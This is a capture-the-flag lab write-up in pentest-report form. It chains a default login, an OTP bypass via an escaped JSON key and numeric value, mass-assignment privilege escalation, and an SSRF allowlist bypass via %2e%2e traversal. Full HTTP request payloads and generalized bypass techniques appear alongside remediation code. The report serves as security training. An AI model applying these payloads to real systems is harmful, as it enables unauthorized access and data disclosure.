MesaNet Access Panel: OTP Verify Bypass Chained to SSRF Internal Disclosure
Part 1: Pentest Report
Executive Summary
MesaNet Access Panel is a Half-Life / Black Mesa themed staff portal running Node.js / Express with server-rendered EJS, fronted by a reverse proxy whose response signatures are consistent with a Go net/http layer. The flag lived in an internal document store at /internal, an endpoint that returned 403 Forbidden to every externally-originated request regardless of headers, path shape, or method. Testing established that the endpoint was reachable only by a request originating from the application’s own host, then built a five-step chain from a seeded login credential to a server-side fetch that satisfied that origin condition and returned the internal record.
Testing confirmed 4 findings:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Weak seeded credential (operator:operator) |
Medium | 6.5 | CWE-1392 | POST /login |
| F2 | OTP verify dual bypass (filter key-hiding + non-string value) | High | 8.1 | CWE-287, CWE-697, CWE-307 | POST /dev/verify |
| F3 | Broken access control via dev user provisioning | High | 8.1 | CWE-915, CWE-269 | POST /api/dev/users |
| F4 | SSRF via vetting reference fetch, with allowlist bypass to /internal |
High | 7.7 | CWE-918, CWE-20 | POST /gateway |
No single finding is Critical on its own metrics, but they compose into a Critical outcome: a guessable credential leads to a dev-console authentication bypass, which allows self-provisioning of a maximum-clearance account, which unlocks a server-side URL fetch whose allowlist is defeated by percent-encoded path traversal. The terminal step reads the internal-origin-gated clearance registry, a full confidentiality compromise of a record the application explicitly withholds from every authenticated role (bug{INXx0emqB4oxvOF2cm0qlqDXel2rNhx5}).
Objective
Capture the flag on a HARD-rated BugForge lab. The flag sits in /internal, an endpoint gated to internal-origin requests, so the objective reduces to producing a request to /internal that originates from inside the application’s trust boundary.
Scope / Initial Access
# Target Application
URL: https://lab-1783714837347-hxqjc6.labs-app.bugforge.io/
# Auth details
Login: POST /login (application/x-www-form-urlencoded)
Session: express-session cookie `connect.sid` (HttpOnly), set on success only
Seed: operator:operator (standard authenticated user)
The portal issues a signed connect.sid session cookie on a successful login and no cookie on a failed one. There is no self-registration; the operator account is the starting point.
Reconnaissance: Characterizing an Internal-Only Endpoint
The attack surface is small. The dashboard exposes a set of per-app views, a /dev console, and a single API router at /gateway. Mapping focused on the one endpoint that behaved differently from everything else: /internal.
GET /internalandHEAD /internalreturned403 {"error":"Forbidden"}, whileOPTIONS /internalreturnedAllow: GET,HEAD. The route exists and is registered; the 403 is a condition on the request, not a missing handler.- Every externally-originated variation of that request returned a byte-identical 403: path normalization tricks, the full forwarded-client-IP header family pointed at loopback, bot and internal-service user agents,
Origin/Refererset to localhost, query-string backdoors, and method-override headers. The response never changed, which ruled out any header-driven or path-driven bypass and pointed at the request’s origin as the deciding factor. /internal/clearance-registryand other sub-paths reached the application and returned 404, so the gate is an exact match on/internal, not a prefix rule. The flag document is a sub-path behind the same origin condition.- The
/devconsole presented a 6-digit one-time-passcode gate that rotated on a 60-second interval, verified atPOST /dev/verify, with a per-session attempt counter. POST /gatewayrouted a JSON body ({id, endpoint, data}) to per-application backend APIs, including avettingapplication whose reference-check feature fetched a candidate-supplied URL.
Observation 2 is the pivot: since no external request shaping reaches /internal, the intended path is a feature that makes the application fetch a URL on the attacker’s behalf, from the application’s own host. Observation 5 is that feature.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Node.js / Express |
| Frontend | Server-rendered EJS templates |
| Proxy | Front reverse proxy; response signatures consistent with Go net/http (inference from 404 page not found text/plain + X-Content-Type-Options: nosniff) |
| Auth | express-session, connect.sid HttpOnly cookie, form login |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
/login |
POST | No | Form login; success-only session cookie |
/ |
GET | Yes | Dashboard |
/dev |
GET | Yes | Dev console; OTP-gated |
/dev/verify |
POST | Yes | OTP verification |
/dev/time-remaining |
GET | Yes | OTP rotation timer |
/api/dev/users |
POST | Yes (dev) | User provisioning |
/gateway |
POST | Yes | Router to per-app backend APIs (entitlement-gated) |
/internal, /internal/clearance-registry |
GET/HEAD | Internal origin only | 403 to any external request |
Known Users
| Username | ID | Role |
|---|---|---|
| operator | seeded | Standard user (starting access) |
| pwnx | 11 | Clearance-5, all entitlements (self-provisioned via F3) |
Attack Chain Visualization
┌───────────────┐ ┌───────────────┐ ┌───────────────┐ ┌───────────────┐ ┌───────────────┐
│ F1 seeded │ │ F2 OTP verify │ │ F3 provision │ │ F4 SSRF: vet- │ │ F4 allowlist │
│ credential │──▶│ dual bypass │──▶│ clearance-5 │──▶│ ting verify │──▶│ bypass via │
│ operator: │ │ {"otp":0} w/ │ │ user "pwnx" │ │ fetches our │ │ %2e%2e → GET │
│ operator │ │ escaped key │ │ w/ vetting. │ │ referenceUrl │ │ /internal/ │
│ → session │ │ → dev console │ │ review │ │ (loopback) │ │ clearance-reg │
└───────────────┘ └───────────────┘ └───────────────┘ └───────────────┘ └──────┬────────┘
│
▼
bug{INXx0emqB4...}
Findings
F1: Weak Seeded Credential (operator:operator)
Severity: Medium
CVSS v3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)
CWE: CWE-1392 (Use of Default Credentials)
Endpoint: POST /login
Authentication required: No
Description
The portal accepts the credential operator:operator, where the username equals the password. It authenticates to a standard user session and is the entry point for the rest of the chain.
Impact
Unauthenticated attacker gains an authenticated foothold as the operator user.
Reproduction
Step 1: Log in with the guessable credential
POST /login HTTP/1.1
Host: lab-1783714837347-hxqjc6.labs-app.bugforge.io
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
username=operator&password=operator
Response: 302 Found, Location: /, Set-Cookie: connect.sid=s%3AnOaOJ2rN...; Path=/; HttpOnly. The session cookie confirms a successful login.
Remediation
Fix 1: Remove seeded credentials and enforce a password policy
// BEFORE (Vulnerable): a seeded account whose password equals its username
await Users.create({ username: 'operator', password: hash('operator') });
// AFTER (Secure): no shared/seed credential; provisioned accounts require a
// randomly generated one-time password and a forced reset on first login
const temp = crypto.randomBytes(24).toString('base64url');
await Users.create({ username: 'operator', password: hash(temp), mustReset: true });
Additional recommendations:
- Reject any password equal to (or trivially derived from) the username.
- Rate-limit and monitor login attempts against a known-username list.
F2: OTP Verify Dual Bypass (Filter Key-Hiding + Non-String Value)
Severity: High
CVSS v3.1: 8.1 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
CWE: CWE-287 (Improper Authentication), CWE-697 (Incorrect Comparison), CWE-307 (Improper Restriction of Excessive Authentication Attempts)
Endpoint: POST /dev/verify
Authentication required: Yes (any standard session)
Description
The /dev console is guarded by a rotating 6-digit one-time passcode verified at POST /dev/verify. Two compounding defects together let any authenticated user reach the dev console without knowing a valid passcode:
- A body filter matching the literal key on the raw request bytes. A request whose
otpfield is structured (an array) or whose value fails the format check is caught before the handler runs. Escaping a character of the key in the JSON body so the raw bytes no longer contain the literal stringotp(for example{"\u006ftp":...}, where\u006fis the lettero) passes the filter untouched, because it scans the bytes rather than the parsed object;JSON.parsethen restores the real key and the handler reads the field normally. - An attempt counter that a non-string value does not decrement, and a verification that accepts it. A string passcode decrements a per-session counter that locks out after roughly ten attempts. The JSON number
0submitted for the same field was not counted (the request stayed repeatable) and was accepted by the verification, returning a redirect to the dev console.
Combining the two, a body with an escaped otp key and a numeric 0 value reaches the handler past the filter and is accepted without consuming an attempt.
Impact
Any authenticated user bypasses the one-time-passcode gate and gains full dev-console access.
Reproduction
Step 1: Establish the baseline (a string passcode is counted and rejected)
POST /dev/verify HTTP/1.1
Host: lab-1783714837347-hxqjc6.labs-app.bugforge.io
Cookie: connect.sid=<operator session from F1>
Content-Type: application/json
Content-Length: 16
{"otp":"000000"}
Response: 200 OK, body reporting an invalid passcode with a decremented remaining-attempts count. A string value is validated and charged against the per-session limiter.
Step 2: Submit the dual bypass (escaped key, numeric value)
POST /dev/verify HTTP/1.1
Host: lab-1783714837347-hxqjc6.labs-app.bugforge.io
Cookie: connect.sid=<operator session from F1>
Content-Type: application/json
Content-Length: 14
{"\u006ftp":0}
Response: 302 Found, Location: /dev. The same session is now dev-authenticated. The \u006f escape hides the otp key from the raw-byte filter, and the numeric value consumed no attempt from the counter, so the request is repeatable.
Remediation
Fix 1: Validate on the parsed value, not the raw bytes
// BEFORE (Vulnerable): pre-handler filter scans the raw body string for a key
if (/"otp"\s*:\s*\[/.test(rawBody)) return res.status(400).end();
// AFTER (Secure): parse first, then enforce type and shape on the object
const { otp } = req.body;
if (typeof otp !== 'string' || !/^\d{6}$/.test(otp)) {
return res.status(400).json({ error: 'otp must be a 6-digit string' });
}
Fix 2: Type-strict comparison and a limiter that counts every attempt
// BEFORE (Vulnerable): a non-string otp is neither rejected nor counted, and
// it reaches a comparison that accepts it
countAttempt(String(otp)); // a number is coerced/skipped, never charged
if (otp == session.expectedOtp) { grant(); }
// AFTER (Secure): reject non-strings before compare; count first, unconditionally
if (!recordAttemptAndCheckLockout(session)) return res.status(429).end();
if (typeof otp !== 'string' || otp !== session.expectedOtp) {
return res.status(401).json({ error: 'invalid otp' });
}
Additional recommendations:
- Lock the account or session after the attempt budget is exhausted, independent of input type.
- Do not rely on a request-body filter as an authentication control; treat it as defense in depth only.
F3: Broken Access Control via Dev User Provisioning
Severity: High
CVSS v3.1: 8.1 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
CWE: CWE-915 (Improperly Controlled Modification of Object Attributes / Mass Assignment), CWE-269 (Improper Privilege Management)
Endpoint: POST /api/dev/users
Authentication required: Yes (dev-console access from F2)
Description
The dev console’s user-provisioning endpoint binds the request body directly to the new user record with no server-side restriction on privilege fields. A caller sets clearanceLevel (0-5) and a complete entitlements object, including vetting.review, and the server creates the account exactly as specified.
Impact
Privilege escalation to a maximum-clearance account holding every application entitlement.
Reproduction
Step 1: Provision a clearance-5 superuser
POST /api/dev/users HTTP/1.1
Host: lab-1783714837347-hxqjc6.labs-app.bugforge.io
Cookie: connect.sid=<dev-authenticated session from F2>
Content-Type: application/json
Content-Length: <len>
{"username":"pwnx","password":"Pwned123!","fullName":"root","clearanceLevel":5,"entitlements":{"nexus":{"access":true,"read":["public","restricted","confidential"],"write":["public","restricted","confidential"]},"mail":{"access":true,"canSend":true,"maxClassification":"confidential"},"vault":{"access":true},"roster":{"access":true,"approve":true},"sector":{"access":true,"control":true},"vetting":{"access":true,"review":true},"mesadoc":{"access":true},"incident":{"access":true},"maint":{"access":true,"diagnostic":true},"secqueue":{"access":true}}}
Response: 200 OK, {"id":11,"username":"pwnx","clearanceLevel":5,"entitlements":{...,"vetting":{"access":true,"review":true},...}}. The server echoes the account with the requested clearance and entitlements intact.
Step 2: Log in as the provisioned account
POST /login HTTP/1.1
Host: lab-1783714837347-hxqjc6.labs-app.bugforge.io
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
username=pwnx&password=Pwned123!
Response: 302 Found, Location: /, new Set-Cookie: connect.sid=.... The pwnx session now carries vetting.review, required by F4.
Remediation
Fix 1: Do not bind privilege fields from the request body
// BEFORE (Vulnerable): the whole body becomes the user, privileges included
const user = await Users.create(req.body);
// AFTER (Secure): allowlist bindable fields; assign privilege server-side
const { username, password, fullName } = req.body;
const user = await Users.create({
username, password: hash(password), fullName,
clearanceLevel: 0, // never client-controlled
entitlements: defaultEntitlements(),
});
Additional recommendations:
- Require a separate, audited authorization to raise a clearance level or grant an entitlement.
- Log privilege changes with the acting principal for review.
F4: SSRF via Vetting Reference Fetch, with Allowlist Bypass to /internal
Severity: High
CVSS v3.1: 7.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
CWE: CWE-918 (Server-Side Request Forgery), CWE-20 (Improper Input Validation)
Endpoint: POST /gateway (/api/vetting/submit, /api/vetting/verify)
Authentication required: Yes (vetting.review, self-granted via F3)
Description
The vetting application’s reference check has two compounding defects:
- A returned-content server-side fetch.
/api/vetting/submitstores a candidatereferenceUrl;/api/vetting/verifyfetches that URL server-side and returns the response body in apreviewfield. The fetch originates from the application’s own host (loopback), which is the origin that/internalaccepts. This is the fetch that reaches inside the trust boundary. - An allowlist validated on the raw string while the fetch client decodes it. The
referenceUrlmust match an approvedhttp://internal.mesanet.local/refs/Nshape. The check runs against the raw string, but the HTTP client percent-decodes and normalizes the path before fetching. A literal../in the path was rejected as “not an approved reference-registry location,” while percent-encoded%2e%2epassed the raw-string check and normalized to a sibling path.http://internal.mesanet.local/refs/1/%2e%2e/%2e%2e/internal/clearance-registrysatisfies the allowlist yet resolves toGET /internal/clearance-registry.
Together, the two defects fetch an internal-origin-gated document and return its contents.
Impact
Read of the internal document store, disclosing the clearance registry (a record withheld from every authenticated role).
Reproduction
Step 1: Submit a candidate with the allowlist-bypassing reference URL
POST /gateway HTTP/1.1
Host: lab-1783714837347-hxqjc6.labs-app.bugforge.io
Cookie: connect.sid=<pwnx session from F3>
Content-Type: application/json
Content-Length: <len>
{"id":"f7a3d5e1-4b9c-4a8d-9e3f-5c1b8d4a9f6e","endpoint":"/api/vetting/submit","data":{"name":"kc","position":"x","bio":"x","referenceUrl":"http://internal.mesanet.local/refs/1/%2e%2e/%2e%2e/internal/clearance-registry"}}
Response: 200 OK, {"candidate":{"id":<CID>,...,"referenceUrl":"http://internal.mesanet.local/refs/1/%2e%2e/%2e%2e/internal/clearance-registry"}}. The URL is stored; the allowlist accepted it because the raw string begins with the approved /refs/1/ prefix. A literal ../ in the same position was rejected.
Step 2: Trigger the verify fetch
POST /gateway HTTP/1.1
Host: lab-1783714837347-hxqjc6.labs-app.bugforge.io
Cookie: connect.sid=<pwnx session from F3>
Content-Type: application/json
Content-Length: <len>
{"id":"f7a3d5e1-4b9c-4a8d-9e3f-5c1b8d4a9f6e","endpoint":"/api/vetting/verify","data":{"id":<CID from Step 1>}}
Response: 200 OK, with the fetched body in preview:
{"id":"<CID>","referenceUrl":"http://internal.mesanet.local/refs/1/%2e%2e/%2e%2e/internal/clearance-registry","preview":"MesaNet Clearance Registry\nRESTRICTED: facility oversight only. Vetting reviewers are not cleared for this record.\nOversight authorization: bug{INXx0emqB4oxvOF2cm0qlqDXel2rNhx5}"}
The server fetched /internal/clearance-registry from loopback, satisfying the origin gate, and returned the flag.
Remediation
Fix 1: Validate after canonicalization, not on the raw string
// BEFORE (Vulnerable): allowlist checks the raw string; the client decodes later
if (!/^http:\/\/internal\.mesanet\.local\/refs\/\d+$/.test(referenceUrl)) reject();
const body = await fetch(referenceUrl).then(r => r.text());
// AFTER (Secure): parse and normalize, then compare the resolved path
const u = new URL(referenceUrl);
const path = decodeURIComponent(u.pathname).replace(/\/+/g, '/');
if (u.protocol !== 'http:' || u.hostname !== 'internal.mesanet.local'
|| !/^\/refs\/\d+$/.test(path)) reject();
Fix 2: Reference by identifier, not by attacker-supplied URL
// BEFORE (Vulnerable): the user controls the URL that the server fetches
const body = await fetch(candidate.referenceUrl).then(r => r.text());
// AFTER (Secure): accept a registry id and resolve it server-side
const ref = await ReferenceRegistry.findById(candidate.referenceId); // no free-form URL
Additional recommendations:
- Do not return upstream response bodies to the client; a fetch feature should surface a status, not raw content.
- Enforce egress controls so application features cannot reach
/internalover loopback. - Gate
/internalon authenticated authorization, not solely on request origin.
OWASP Top 10 Coverage
- A01:2021 Broken Access Control: F3 mass-assigns clearance and entitlements at provisioning; the
/internalorigin gate is defeated by a loopback-originated fetch (F4). - A04:2021 Insecure Design: the OTP gate depends on a raw-byte body filter and a type-branched limiter (F2), and the SSRF allowlist validates a different string representation than the one fetched (F4).
- A07:2021 Identification and Authentication Failures: a guessable seeded credential (F1) and an authentication gate bypassed without a valid passcode (F2).
- A10:2021 Server-Side Request Forgery: the vetting verify fetch retrieves an attacker-controlled internal URL and returns its body (F4).
Tools Used
| Tool | Purpose |
|---|---|
| curl | Crafting raw HTTP requests, including the unicode-escaped JSON key and encoded-traversal URL |
| Caido | Proxy and wire capture to confirm proxy-versus-application path normalization |
References
- CWE-1392: Use of Default Credentials
- CWE-287: Improper Authentication
- CWE-697: Incorrect Comparison
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
- CWE-918: Server-Side Request Forgery
- OWASP SSRF Prevention Cheat Sheet
- Orange Tsai: SSRF and URL-parser research (blog.orange.tw)
Part 2: Notes / Knowledge
Key Learnings
-
A WAF that scans raw request bytes for a field key is defeated by JSON unicode key escapes. When a filter sits in front of a JSON parser and blocks on the literal key name in the request body, escape a character of that key (
{"\u006ftp":...}). The raw bytes no longer contain the string the filter matches, butJSON.parserestores the real key and the handler receives the field unchanged. The filter and the application read at different layers (bytes versus parsed object), so anything matched lexically can be hidden while staying semantically identical after parsing. Here it slipped theotpfield past the gate on/dev/verify; the same idea applies to duplicate keys, whitespace, and number formats a parser tolerates but a regex misses. -
On a rate-limited verify with a string-typed limiter, send a non-string value. When an OTP, token, or 2FA verify decrements a per-session or per-IP counter and the counting logic appears to handle only strings, submit the value as a JSON number, boolean, or null. A non-string can skip the string-only counter entirely, giving unlimited and rotation-immune attempts, and if the comparison is loose it may be accepted outright. On this target the number
0was never charged against the attempt budget and the verify accepted it, whereas arrays and strings through the same channel took the counted path. The value’s type, not its content, is the bypass, so this generalizes to any type-branched attempt counter or validator. -
To bypass a URL allowlist validated on the raw string, use encoded traversal (
%2e%2e), because the fetch client decodes and normalizes. When a server-side fetch checks the target against an allowlist on the raw string and then hands the same string to an HTTP client, keep the approved prefix literal and append percent-encoded traversal to the real target:http://allowed.host/approved/1/%2e%2e/%2e%2e/internal/target. The validator sees the approved prefix; the client decodes%2e%2eto..and normalizes to the target path. Literal../was rejected here while%2e%2ereached/internal/clearance-registry. Validate-then-fetch across two different string representations (raw versus decoded and normalized) is the Orange Tsai URL-parser discrepancy, and it applies to path-based proxy ACLs and redirect validators as well as SSRF allowlists.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
Direct /internal request-envelope bypass (path confusion, forwarded-client-IP header family, bot/service user agents, Origin/Referer localhost, query backdoors, method-override) |
Byte-identical 403 Forbidden for every variant |
The gate reads the request origin, not any header or path shape; only a request from the application’s own host passes. |
| Login injection: SQLi, NoSQLi, time-based | Generic “Invalid credentials”, no error or delay | Login is injection-resistant with a generic error and no user enumeration. |
Session forgery: base64(md5(user)), md5, plaintext, alg=none JWT across common cookie names |
Never accepted (302 back to /login) |
The session cookie is a signed express-session identifier, not a guessable scheme. |
JSON-array OTP injection ({"otp":[...]}) |
Rejected by a body guard; not iterated, not counted | This mechanic worked on a same-named prior lab build but was patched here; a remembered technique is a hypothesis, not a given. |
Encoded-array OTP brute (otp[]= via urlencoded) across rotated sessions |
Reached the handler but charged one attempt per request | The per-session budget plus login rate limits made full-range coverage of the passcode space within a 60-second rotation window infeasible. |
| Direct backend port access (3000/8080/8000/5000) | Connection filtered | No direct route to the Express backend; the front proxy is the only ingress. |
Tags: #ssrf #broken-access-control #otp-bypass #waf-bypass #url-parser-confusion #bugforge
Document Version: 1.0
Last Updated: 2026-07-14